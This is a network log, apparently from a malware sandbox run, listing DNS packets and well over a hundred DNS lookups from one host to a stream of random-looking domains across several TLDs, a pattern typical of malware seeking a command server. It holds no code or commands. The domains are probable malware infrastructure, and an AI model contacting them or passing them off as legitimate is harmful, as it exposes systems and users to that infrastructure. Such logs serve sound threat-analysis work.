Sep 8, 2024 08:43:36.955957890 CEST	59739	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:36.987567902 CEST	53	59739	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:37.090250015 CEST	58078	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:37.100387096 CEST	53	58078	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:37.107093096 CEST	58032	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:37.116048098 CEST	53	58032	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:37.215099096 CEST	51182	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:37.223356962 CEST	53	51182	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:38.340955973 CEST	62825	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:38.350410938 CEST	53	62825	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:39.652523994 CEST	55359	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:39.684518099 CEST	53	55359	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:39.686629057 CEST	55982	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:39.721493006 CEST	53	55982	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:39.824421883 CEST	62367	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:39.853909969 CEST	53	62367	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:39.856405973 CEST	61281	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:39.889143944 CEST	53	61281	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:39.994911909 CEST	58162	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:40.003850937 CEST	53	58162	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:40.006764889 CEST	62400	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:40.015535116 CEST	53	62400	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:40.105967045 CEST	56810	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:40.355518103 CEST	56810	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:40.364624023 CEST	53	56810	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:40.364641905 CEST	53	56810	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:40.366712093 CEST	56383	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:40.376514912 CEST	53	56383	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:40.465233088 CEST	51333	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:40.714895964 CEST	51333	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:40.741238117 CEST	53	51333	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:40.741271019 CEST	53	51333	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:40.743489981 CEST	51578	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:41.030167103 CEST	51578	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:41.174123049 CEST	53	51578	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:41.174160957 CEST	53	51578	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:41.282067060 CEST	61397	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:41.320391893 CEST	53	61397	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 8, 2024 08:39:38.789815903 CEST	192.168.2.5	1.1.1.1	0x7be9	Standard query (0)	iwqkinetikcv.nu	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:38.833249092 CEST	192.168.2.5	1.1.1.1	0xa450	Standard query (0)	iwqkinetikcv.nu	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:39.012164116 CEST	192.168.2.5	1.1.1.1	0xaf11	Standard query (0)	pkejap.mp	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:39.850714922 CEST	192.168.2.5	1.1.1.1	0xd19f	Standard query (0)	pkejap.mp	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:40.215307951 CEST	192.168.2.5	1.1.1.1	0x3bf6	Standard query (0)	guldcp.cm	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:40.400346994 CEST	192.168.2.5	1.1.1.1	0x9d64	Standard query (0)	guldcp.cm	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:40.715281963 CEST	192.168.2.5	1.1.1.1	0x8295	Standard query (0)	xvmiuqwa.ph	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:40.755891085 CEST	192.168.2.5	1.1.1.1	0x4ef4	Standard query (0)	utbidet-ugeas.biz	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:41.284861088 CEST	192.168.2.5	1.1.1.1	0xb4c3	Standard query (0)	utbidet-ugeas.biz	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:42.168540001 CEST	192.168.2.5	1.1.1.1	0xcfa0	Standard query (0)	wiqcrsiquexjra.st	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:42.230767012 CEST	192.168.2.5	1.1.1.1	0xab47	Standard query (0)	wiqcrsiquexjra.st	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:42.379592896 CEST	192.168.2.5	1.1.1.1	0x479a	Standard query (0)	wimgtxamm.ph	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:43.543354988 CEST	192.168.2.5	1.1.1.1	0x1421	Standard query (0)	erykeemmgke.kr	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:43.823710918 CEST	192.168.2.5	1.1.1.1	0x9065	Standard query (0)	erykeemmgke.kr	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:43.949651003 CEST	192.168.2.5	1.1.1.1	0xaa56	Standard query (0)	hucdyujmukfsx.vg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:45.105982065 CEST	192.168.2.5	1.1.1.1	0x8241	Standard query (0)	saoucywmfc.ws	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:46.247071028 CEST	192.168.2.5	1.1.1.1	0x26e0	Standard query (0)	rkoolkuso.ws	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:47.418514013 CEST	192.168.2.5	1.1.1.1	0x6730	Standard query (0)	gsgkwkexyax.nu	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:47.459647894 CEST	192.168.2.5	1.1.1.1	0x49ee	Standard query (0)	gsgkwkexyax.nu	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:47.590622902 CEST	192.168.2.5	1.1.1.1	0xaa7a	Standard query (0)	maamyodasotuzc.tk	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:47.752585888 CEST	192.168.2.5	1.1.1.1	0xaeb0	Standard query (0)	maamyodasotuzc.tk	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:48.027692080 CEST	192.168.2.5	1.1.1.1	0x3fcc	Standard query (0)	vyayoa.cm	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:48.249715090 CEST	192.168.2.5	1.1.1.1	0x8dba	Standard query (0)	vyayoa.cm	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:48.527690887 CEST	192.168.2.5	1.1.1.1	0x9f7b	Standard query (0)	moiuldundirk.ws	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:49.684175968 CEST	192.168.2.5	1.1.1.1	0x8c49	Standard query (0)	kgsoqig.ph	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:50.808984995 CEST	192.168.2.5	1.1.1.1	0x7d76	Standard query (0)	qmwdirotq.cg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:50.850903988 CEST	192.168.2.5	1.1.1.1	0x5633	Standard query (0)	qmwdirotq.cg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:50.996596098 CEST	192.168.2.5	1.1.1.1	0xb9b	Standard query (0)	ycszjetjpejct.vg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:52.122117996 CEST	192.168.2.5	1.1.1.1	0x2429	Standard query (0)	yqkoakpyunsvf.tk	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:52.387948990 CEST	192.168.2.5	1.1.1.1	0x27b6	Standard query (0)	yqkoakpyunsvf.tk	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:52.668306112 CEST	192.168.2.5	1.1.1.1	0xed04	Standard query (0)	jgsbwcowgmycas.nu	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:52.679313898 CEST	192.168.2.5	1.1.1.1	0x9f69	Standard query (0)	jgsbwcowgmycas.nu	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:52.793370008 CEST	192.168.2.5	1.1.1.1	0xae47	Standard query (0)	ocnbwwofuyzgm.cg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:52.853899956 CEST	192.168.2.5	1.1.1.1	0x6cfc	Standard query (0)	ocnbwwofuyzgm.cg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:53.074759007 CEST	192.168.2.5	1.1.1.1	0xcc95	Standard query (0)	klciqaifzak.kr	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:53.087028980 CEST	192.168.2.5	1.1.1.1	0x678f	Standard query (0)	klciqaifzak.kr	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:53.543236017 CEST	192.168.2.5	1.1.1.1	0x810d	Standard query (0)	kmczget.mp	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:54.096220016 CEST	192.168.2.5	1.1.1.1	0x2b36	Standard query (0)	kmczget.mp	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:54.402637959 CEST	192.168.2.5	1.1.1.1	0x6f00	Standard query (0)	ucotvodykr.vg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:55.516381979 CEST	192.168.2.5	1.1.1.1	0x6738	Standard query (0)	crseowveq.st	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:55.563191891 CEST	192.168.2.5	1.1.1.1	0xaae1	Standard query (0)	crseowveq.st	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:55.684158087 CEST	192.168.2.5	1.1.1.1	0x8283	Standard query (0)	upovpdivoqjiyq.kr	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:55.699619055 CEST	192.168.2.5	1.1.1.1	0x6644	Standard query (0)	upovpdivoqjiyq.kr	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:56.152625084 CEST	192.168.2.5	1.1.1.1	0xfb66	Standard query (0)	tjmwgkitqlqgse.cm	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:56.534864902 CEST	192.168.2.5	1.1.1.1	0xe593	Standard query (0)	tjmwgkitqlqgse.cm	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:56.808943987 CEST	192.168.2.5	1.1.1.1	0xdfa8	Standard query (0)	samcoy.mp	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:56.907109976 CEST	192.168.2.5	1.1.1.1	0x9395	Standard query (0)	samcoy.mp	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:57.355926037 CEST	192.168.2.5	1.1.1.1	0x9b5c	Standard query (0)	idysusqkfajm.nu	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:57.384915113 CEST	192.168.2.5	1.1.1.1	0x7391	Standard query (0)	idysusqkfajm.nu	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:57.496393919 CEST	192.168.2.5	1.1.1.1	0x65cd	Standard query (0)	vyvwgip.ws	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:57.529567003 CEST	192.168.2.5	1.1.1.1	0x17a8	Standard query (0)	utbidet-ugeas.biz	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:58.856272936 CEST	192.168.2.5	1.1.1.1	0x8356	Standard query (0)	gtbygcu.nu	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:58.869898081 CEST	192.168.2.5	1.1.1.1	0x1e9d	Standard query (0)	gtbygcu.nu	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:59.012029886 CEST	192.168.2.5	1.1.1.1	0x1613	Standard query (0)	mmecmudamoqyj.rw	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:59.026765108 CEST	192.168.2.5	1.1.1.1	0x623b	Standard query (0)	mmecmudamoqyj.rw	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:59.153024912 CEST	192.168.2.5	1.1.1.1	0x9ae	Standard query (0)	aumqsmx.kr	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:59.168163061 CEST	192.168.2.5	1.1.1.1	0x8bf9	Standard query (0)	aumqsmx.kr	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:59.293433905 CEST	192.168.2.5	1.1.1.1	0x6f28	Standard query (0)	qaggihab.ph	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:00.465584993 CEST	192.168.2.5	1.1.1.1	0xd594	Standard query (0)	cimedejqa.st	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:00.497577906 CEST	192.168.2.5	1.1.1.1	0x6a7f	Standard query (0)	cimedejqa.st	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:00.637084007 CEST	192.168.2.5	1.1.1.1	0xe26e	Standard query (0)	fqhoeumlg.cm	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:00.810194969 CEST	192.168.2.5	1.1.1.1	0x63b1	Standard query (0)	fqhoeumlg.cm	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:01.090203047 CEST	192.168.2.5	1.1.1.1	0x4bae	Standard query (0)	grrhyqk.ph	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:02.199764013 CEST	192.168.2.5	1.1.1.1	0x2a58	Standard query (0)	ikociagcpeks.rw	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:02.293517113 CEST	192.168.2.5	1.1.1.1	0xdbd1	Standard query (0)	ikociagcpeks.rw	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:02.480818987 CEST	192.168.2.5	1.1.1.1	0x2916	Standard query (0)	cqlcikiwc.ws	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:03.621443033 CEST	192.168.2.5	1.1.1.1	0x5e47	Standard query (0)	zadvbviauek.cg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:03.858900070 CEST	192.168.2.5	1.1.1.1	0xfb79	Standard query (0)	zadvbviauek.cg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:04.043515921 CEST	192.168.2.5	1.1.1.1	0x4ab3	Standard query (0)	wyqemapilnsck.cm	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:04.269479990 CEST	192.168.2.5	1.1.1.1	0x2953	Standard query (0)	wyqemapilnsck.cm	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:04.605875969 CEST	192.168.2.5	1.1.1.1	0x2b32	Standard query (0)	ojeecaygeyz.tk	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:04.771509886 CEST	192.168.2.5	1.1.1.1	0xc2e3	Standard query (0)	ojeecaygeyz.tk	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:05.043510914 CEST	192.168.2.5	1.1.1.1	0xd66b	Standard query (0)	gubwnmu.ws	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:06.184151888 CEST	192.168.2.5	1.1.1.1	0x1dbf	Standard query (0)	oqfoicsg.ws	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:07.356051922 CEST	192.168.2.5	1.1.1.1	0x349d	Standard query (0)	mcyzcuygmql.ph	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:08.793405056 CEST	192.168.2.5	1.1.1.1	0xb102	Standard query (0)	nfltmjmfkobpe.cg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:08.835525036 CEST	192.168.2.5	1.1.1.1	0x2a74	Standard query (0)	nfltmjmfkobpe.cg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:09.059159994 CEST	192.168.2.5	1.1.1.1	0xc67	Standard query (0)	eukkoics.kr	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:09.072467089 CEST	192.168.2.5	1.1.1.1	0xaeb8	Standard query (0)	eukkoics.kr	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:09.465123892 CEST	192.168.2.5	1.1.1.1	0x7cdc	Standard query (0)	wiiyeajqad.cm	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:09.490417004 CEST	192.168.2.5	1.1.1.1	0xdc3	Standard query (0)	wiiyeajqad.cm	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:09.824697018 CEST	192.168.2.5	1.1.1.1	0x4f5	Standard query (0)	lawqb.st	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:09.968513966 CEST	192.168.2.5	1.1.1.1	0x20a8	Standard query (0)	lawqb.st	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:10.355844975 CEST	192.168.2.5	1.1.1.1	0x7dcb	Standard query (0)	eohwtcodugmx.nu	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:10.367186069 CEST	192.168.2.5	1.1.1.1	0x54e1	Standard query (0)	eohwtcodugmx.nu	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:10.480860949 CEST	192.168.2.5	1.1.1.1	0xf9db	Standard query (0)	soovonz.kr	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:10.499969959 CEST	192.168.2.5	1.1.1.1	0xc373	Standard query (0)	soovonz.kr	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:10.887201071 CEST	192.168.2.5	1.1.1.1	0x32ae	Standard query (0)	ebeodkksay.mp	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:11.157663107 CEST	192.168.2.5	1.1.1.1	0x6ba3	Standard query (0)	ebeodkksay.mp	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:12.105915070 CEST	192.168.2.5	1.1.1.1	0xf348	Standard query (0)	kapgekkcijhi.cm	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:12.130042076 CEST	192.168.2.5	1.1.1.1	0xe07b	Standard query (0)	kapgekkcijhi.cm	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:12.418402910 CEST	192.168.2.5	1.1.1.1	0xbddc	Standard query (0)	ewoqoodzi.kr	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:12.438723087 CEST	192.168.2.5	1.1.1.1	0x8c6e	Standard query (0)	ewoqoodzi.kr	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:12.559025049 CEST	192.168.2.5	1.1.1.1	0x3bf2	Standard query (0)	sajtw.cg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:12.620351076 CEST	192.168.2.5	1.1.1.1	0xb1c7	Standard query (0)	sajtw.cg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:12.762056112 CEST	192.168.2.5	1.1.1.1	0x7414	Standard query (0)	apzkasiwau.cm	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:12.936687946 CEST	192.168.2.5	1.1.1.1	0x1558	Standard query (0)	apzkasiwau.cm	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:13.215229988 CEST	192.168.2.5	1.1.1.1	0x558c	Standard query (0)	cookqyrwoyfqn.mp	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:14.070420980 CEST	192.168.2.5	1.1.1.1	0xd703	Standard query (0)	cookqyrwoyfqn.mp	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:14.278536081 CEST	192.168.2.5	1.1.1.1	0xa2e3	Standard query (0)	ermxzitmkoe.nu	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:14.290234089 CEST	192.168.2.5	1.1.1.1	0xb863	Standard query (0)	ermxzitmkoe.nu	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:14.402731895 CEST	192.168.2.5	1.1.1.1	0x9201	Standard query (0)	ywpkzeos.nu	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:14.437468052 CEST	192.168.2.5	1.1.1.1	0x74c9	Standard query (0)	ywpkzeos.nu	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:14.558885098 CEST	192.168.2.5	1.1.1.1	0xf7a7	Standard query (0)	kgyei.cg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:14.852746010 CEST	192.168.2.5	1.1.1.1	0xeba9	Standard query (0)	kgyei.cg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:15.168574095 CEST	192.168.2.5	1.1.1.1	0x5d00	Standard query (0)	xymaafimcbiqng.ws	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:17.106122971 CEST	192.168.2.5	1.1.1.1	0x4726	Standard query (0)	xgmtyuvkuv.st	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:17.137253046 CEST	192.168.2.5	1.1.1.1	0x689	Standard query (0)	xgmtyuvkuv.st	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:17.293303013 CEST	192.168.2.5	1.1.1.1	0x3c09	Standard query (0)	wqsresks.rw	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:18.292921066 CEST	192.168.2.5	1.1.1.1	0x3c09	Standard query (0)	wqsresks.rw	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:18.798679113 CEST	192.168.2.5	1.1.1.1	0xfa85	Standard query (0)	wqsresks.rw	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:19.012090921 CEST	192.168.2.5	1.1.1.1	0xe2b8	Standard query (0)	iigsdiwuimi.mp	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:19.868226051 CEST	192.168.2.5	1.1.1.1	0x15b	Standard query (0)	iigsdiwuimi.mp	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:20.216747046 CEST	192.168.2.5	1.1.1.1	0x8955	Standard query (0)	acqowoppegz.nu	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:20.228037119 CEST	192.168.2.5	1.1.1.1	0x9534	Standard query (0)	acqowoppegz.nu	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:20.340110064 CEST	192.168.2.5	1.1.1.1	0x15a0	Standard query (0)	llpkgwvgqyh.cm	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:20.553385973 CEST	192.168.2.5	1.1.1.1	0x6adc	Standard query (0)	llpkgwvgqyh.cm	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:20.887227058 CEST	192.168.2.5	1.1.1.1	0xdfaf	Standard query (0)	euuduok.ph	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:22.027930975 CEST	192.168.2.5	1.1.1.1	0x36e5	Standard query (0)	sxsyiekdaqqd.ws	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:23.168301105 CEST	192.168.2.5	1.1.1.1	0x52e2	Standard query (0)	ajwumsxge.kr	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:23.190201998 CEST	192.168.2.5	1.1.1.1	0x2456	Standard query (0)	ajwumsxge.kr	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:23.324518919 CEST	192.168.2.5	1.1.1.1	0xf9b5	Standard query (0)	ckamnmua.st	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:23.368777037 CEST	192.168.2.5	1.1.1.1	0xd5a0	Standard query (0)	ckamnmua.st	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:23.512027979 CEST	192.168.2.5	1.1.1.1	0x3bec	Standard query (0)	voagvgkqdcif.ph	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:24.653100014 CEST	192.168.2.5	1.1.1.1	0x4f59	Standard query (0)	luayepf.kr	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:24.665522099 CEST	192.168.2.5	1.1.1.1	0x85a6	Standard query (0)	luayepf.kr	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:25.058952093 CEST	192.168.2.5	1.1.1.1	0x5c0b	Standard query (0)	alnavtodes.rw	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:25.637116909 CEST	192.168.2.5	1.1.1.1	0x6752	Standard query (0)	alnavtodes.rw	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:25.824642897 CEST	192.168.2.5	1.1.1.1	0xd69a	Standard query (0)	vexmm.vg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:27.074558973 CEST	192.168.2.5	1.1.1.1	0x308c	Standard query (0)	ouvgx.nu	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:27.085885048 CEST	192.168.2.5	1.1.1.1	0x6b13	Standard query (0)	ouvgx.nu	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:27.215136051 CEST	192.168.2.5	1.1.1.1	0x99ac	Standard query (0)	rhxrwxpwwiu.mp	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:27.313724995 CEST	192.168.2.5	1.1.1.1	0xfdbb	Standard query (0)	rhxrwxpwwiu.mp	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:27.746485949 CEST	192.168.2.5	1.1.1.1	0x7c4d	Standard query (0)	cwfyspgrwwftoa.tk	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:27.918199062 CEST	192.168.2.5	1.1.1.1	0xa3ef	Standard query (0)	cwfyspgrwwftoa.tk	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:28.199548006 CEST	192.168.2.5	1.1.1.1	0xf6c7	Standard query (0)	mfimmkqw.rw	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:28.607105017 CEST	192.168.2.5	1.1.1.1	0xd8cd	Standard query (0)	mfimmkqw.rw	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:28.746452093 CEST	192.168.2.5	1.1.1.1	0x312a	Standard query (0)	wmqgigbtk.ph	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:30.730793953 CEST	192.168.2.5	1.1.1.1	0x4a25	Standard query (0)	dzgoqliffwuk.tk	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:30.917026997 CEST	192.168.2.5	1.1.1.1	0xab90	Standard query (0)	dzgoqliffwuk.tk	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:31.216213942 CEST	192.168.2.5	1.1.1.1	0xe00e	Standard query (0)	kaduu.cm	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:31.388044119 CEST	192.168.2.5	1.1.1.1	0xe0ec	Standard query (0)	kaduu.cm	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:31.669826984 CEST	192.168.2.5	1.1.1.1	0x8d8f	Standard query (0)	qlncimsmq.kr	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:31.681308985 CEST	192.168.2.5	1.1.1.1	0x275a	Standard query (0)	qlncimsmq.kr	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:31.809206009 CEST	192.168.2.5	1.1.1.1	0xc770	Standard query (0)	wyoyzqyggunly.tk	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:31.991359949 CEST	192.168.2.5	1.1.1.1	0x8498	Standard query (0)	wyoyzqyggunly.tk	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:32.262083054 CEST	192.168.2.5	1.1.1.1	0x9380	Standard query (0)	kxdqmoy.mp	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:33.220586061 CEST	192.168.2.5	1.1.1.1	0xed05	Standard query (0)	kxdqmoy.mp	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:34.168324947 CEST	192.168.2.5	1.1.1.1	0x7032	Standard query (0)	uszukil.mp	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:34.870879889 CEST	192.168.2.5	1.1.1.1	0x3d7c	Standard query (0)	uszukil.mp	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:35.075479984 CEST	192.168.2.5	1.1.1.1	0x9bf7	Standard query (0)	quivjq.ph	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:36.433887005 CEST	192.168.2.5	1.1.1.1	0xc6a5	Standard query (0)	qysbgykaee.mp	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:36.774385929 CEST	192.168.2.5	1.1.1.1	0xa1e4	Standard query (0)	qysbgykaee.mp	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:36.980833054 CEST	192.168.2.5	1.1.1.1	0x5429	Standard query (0)	hlmok.cm	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:37.181817055 CEST	192.168.2.5	1.1.1.1	0x52e7	Standard query (0)	hlmok.cm	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:37.472995996 CEST	192.168.2.5	1.1.1.1	0xff69	Standard query (0)	medoeahgwk.nu	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:37.484086037 CEST	192.168.2.5	1.1.1.1	0xc9b9	Standard query (0)	medoeahgwk.nu	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:37.605760098 CEST	192.168.2.5	1.1.1.1	0x66bb	Standard query (0)	aykunskrl.ws	A (IP address)	IN (0x0001)	false
